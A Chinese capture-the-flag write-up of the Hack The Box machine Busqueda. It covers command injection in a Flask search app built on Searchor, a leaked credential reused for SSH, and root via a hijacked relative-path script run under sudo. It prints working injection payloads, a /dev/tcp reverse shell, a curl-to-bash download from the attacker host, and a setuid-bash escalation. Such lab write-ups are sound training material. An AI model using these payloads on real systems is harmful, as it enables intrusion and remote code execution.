准备:

攻击机:虚拟机kali和win10(常规操作就直接用本机win10来操作了)。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Busqueda。

知识点:命令执行、敏感信息发现。

备注:这个说难也难说简单也是很简单,如果要通过命令执行来进行shell反弹可能会有点难度,但是如果通过发现的密码直接去登录就是比较简单的。

一:信息收集

1.nmap扫描

使用nmap扫描下几个常见的端口和对应的服务信息,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.dns解析

访问80端口的web服务时直接跳转到了:http://searcher.htb/,因此需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:10.10.11.208 searcher.htb。

二:信息利用

1.bp抓包

随便进行一个搜索并抓取数据包,然后修改参数1为1'时,返回的信息发生变化,那这里有可能存在注入,但是经过后续测试发现不是sql注入。

2.命令执行

后面在首页发现一个执行github的连接,https://github.com/ArjunSharda/Searchor,在该链接中找到了思路。

该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路并在python中进行测试,发现当传递的参数为:1'+print('1')+'时会将print中的字符串进行输出,说明进行了命令执行。

#我们先是传入了一个值给参数query
query = '1'
#然后将我们的参数带入到下面并进行返回
Engine.Google.search(query)
#所以在我们传输1'的时候会进行报错,传入1''的时候又会恢复正常

然后依据格式修改语句在本地进行命令执行,将语句修改为:1'+__import__("os").system("calc.exe")+',成功打开计算器。

然后在抓取的数据包中进行测试,将输入的数据修改为:1'+print('234')+',但是并未执行print语句。后面对+进行了编码后:1'%2bprint('234')%2b',print命令可以正常执行。

3.shell反弹

确定了命令执行的语句格式:1'+__import__("os").system("calc.exe")+',那我们就进行shell反弹,语句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1'%2bprint(__import__('os').system("id"))%2b',不过这里发现了用户名:svc。

无法反弹shell,那就先查看下是否存在别的可以利用的信息,传递参数:1'%2bprint(__import__('os').system("ls -al"))%2b',发现app.py文件,读取该文件信息:1'%2bprint(__import__('os').system("cat app.py"))%2b',获得app.py内容,但是并没有获取到什么有用的信息。

app.py内容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess app = Flask(__name__) @app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='') @app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect') if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!") except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!") if __name__ == '__main__':
app.run(debug=False)

继续读取.git目录下的内容,在config文件中发现:http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,发现cody:jh1usoih2bkjaspwe92像是一组账户名,gitea.searcher.htb应该是一个子域名,但是/etc/passwd文件中显示不存在cody账户,存在svn账户,因此使用svc/jh1usoih2bkjaspwe92进行ssh连接,命令:ssh svc@10.10.11.208,成功获得shell权限。

/etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

后面又想到上面既然有命令执行的漏洞了,没道理反弹不了shell啊,就在网上查找资料发现了subprocess函数,我们可以利用如下格式:eval(complie(“要执行的代码”),“<String>”,“exec”)进行shell反弹,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功获得shell权限。

三:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。

查看system-checkup.py文件,显示我们缺少相关的查看权限,那就执行下命令,看有什么提示。

在执行第三个命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的时候告诉我们存在一些错误(因为开始我忘记了切换目录)而并不是权限问题导致无法执行。

报错之后就切换到/opt/scripts目录,发现full-checkup.sh脚本,重新执行上面的命令,发现正常执行,那这里就想到他是调用了full-checkup.sh脚本。

在执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup时他调用的是执行目录下的full-checkup.sh,因此我们就可以在/tmp目录下创建一个full-checkup.sh文件来写入提权命令:chmod +s /bin/bash。这里使用的是wget上传到靶机,然后赋予执行权限(注意下该文件会被删除,如果被删除就重新上传),然后执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功获得root权限。

获得root权限后在/root目录和/home/svc目录下分别读取下root.txt、user.txt文件,成功获得两个flag值。

HTB靶场之Busqueda的更多相关文章

  1. 【HTB靶场系列】靶机Carrier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  3. [红日安全]Web安全Day2 - XSS跨站实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. [红日安全]Web安全Day3 - CSRF实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  5. [红日安全]Web安全Day4 - SSRF实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  6. [红日安全]Web安全Day5 - 任意文件上传实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  7. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  8. [红日安全]Web安全Day9 - 文件下载漏洞实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  9. [红日安全]Web安全Day12 – 会话安全实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  10. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

随机推荐

  1. MySQL根据经纬度和距离查询最近的数据

    [lat]:输入的纬度 [lon]:输入的经度 [distance]:查询距离内的数据,单位m SELECT * FROM ( SELECT id lon, lat, vin, ROUND( 6378 ...

  2. Docker-应用部署案例

    1.Docker部署mysql 拉取mysql镜像 # 查询mysql镜像 docker search mysql # 拉取镜像命令 docker pull centos/mysql-57-cento ...

  3. Python学习笔记--异常+模块+包

    异常的捕获 基本语法: 示例: 捕获指定异常 基本语法:--必写 示例: 捕获多个异常 示例: 捕获所有异常 示例: 异常else--可写可不写 示例: 异常finally(无论是否出现异常,都会去执 ...

  4. Javaweb学习笔记第九弹

    MyBatis案例--环境准备 1.依据之前在Navicat建立数据表的方法,新建立一个数据表 2.将数据表的相关内容表现在Java文件的实例上:即成员变量和set.get成员方法 3.new一个测试 ...

  5. Spring--AOP通知类型

    AOP通知类型 前置通知 通知类中的数据在原始数据的前面 后置通知 通知类中的数据在原始数据的后面 环绕通知 若是只是加一个注解: 我们需要这样做:加一个参数: 若是面对有返回值的方法,又有一点不同之 ...

  6. DevOps|研发效能不是老板工程,是开发者服务

    有人说研发效能是老板工程.不是的,研发效能不是老板工程,它不直接服务于老板(虽然老板可能看一些报表),反而是服务于广大产研运(产品+研发+质量+运维)的同学,所以有的公司也把研发效能叫做基础中台,平台 ...

  7. Kotlin 与 JAVA 不同之处

    添加kotlin混编支持 要在Android项目中添加Kotlin混编支持,需要进行以下步骤: 在项目的 build.gradle 文件中添加以下代码: kotlin android { ... // ...

  8. RochyLinux 8.6安装Oracle19c Client

    一.环境准备 1.1 软件下载 下载地址:https://www.oracle.com/database/technologies/oracle19c-linux-downloads.html 其中c ...

  9. 全渠道定价、库存决策,运筹混合整数规划建模求解,MNL选择模型,内附代码!

    0. 写在前面 刊论文!模型简单,代码实现更简单,墙裂推荐!可为运筹建模提供参考,也可作为全渠道零售研究的入门资料ε٩(๑> ₃ <)۶з 全文有点长,前面先放一个博文结构和涉及内容: 第 ...

  10. vmware中安装windows11系统

    1.官网下载windwos11镜像(点击跳转下载) 2.打开vmware,创建新的虚拟机 3.选择典型方便快捷 4.选择安装程序光盘文件,点击浏览选择刚刚下载好的iso镜像 5.选择windows版本 ...